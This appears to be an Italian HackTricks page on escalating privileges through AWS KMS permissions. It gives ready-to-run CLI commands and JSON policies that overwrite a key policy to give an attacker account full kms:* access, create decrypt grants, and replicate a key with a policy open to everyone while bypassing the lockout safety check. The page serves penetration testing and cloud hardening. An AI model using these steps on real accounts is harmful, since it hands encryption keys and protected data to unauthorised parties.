AWS - KMS Privesc

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

KMS

Per ulteriori informazioni su KMS controlla:

AWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Con questi permessi è possibile modificare i permessi di accesso alla chiave in modo che possa essere utilizzata da altri account o addirittura da chiunque:

bash
aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

json
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<origin_account>:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow all use",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": ["kms:*"],
"Resource": "*"
}
]
}

kms:CreateGrant

Consente a un principale di utilizzare una chiave KMS:

bash
aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

warning

Un grant può consentire solo determinati tipi di operazioni: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

warning

Nota che potrebbero volerci un paio di minuti affinché KMS consenta all'utente di utilizzare la chiave dopo che il grant è stato generato. Una volta trascorso quel tempo, il principale può utilizzare la chiave KMS senza dover specificare nulla.
Tuttavia, se è necessario utilizzare il grant immediatamente usa un grant token (controlla il codice seguente).
Per maggiori informazioni leggi questo.

bash
# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Nota che è possibile elencare i grant delle chiavi con:

bash
aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Con questi permessi è possibile replicare una chiave KMS abilitata per più regioni in una regione diversa con una politica diversa.

Quindi, un attaccante potrebbe abusare di questo per ottenere privesc il suo accesso alla chiave e usarla.

bash
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Questo permesso consente di utilizzare una chiave per decrittografare alcune informazioni.
Per ulteriori informazioni controlla:

AWS - KMS Post Exploitation

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks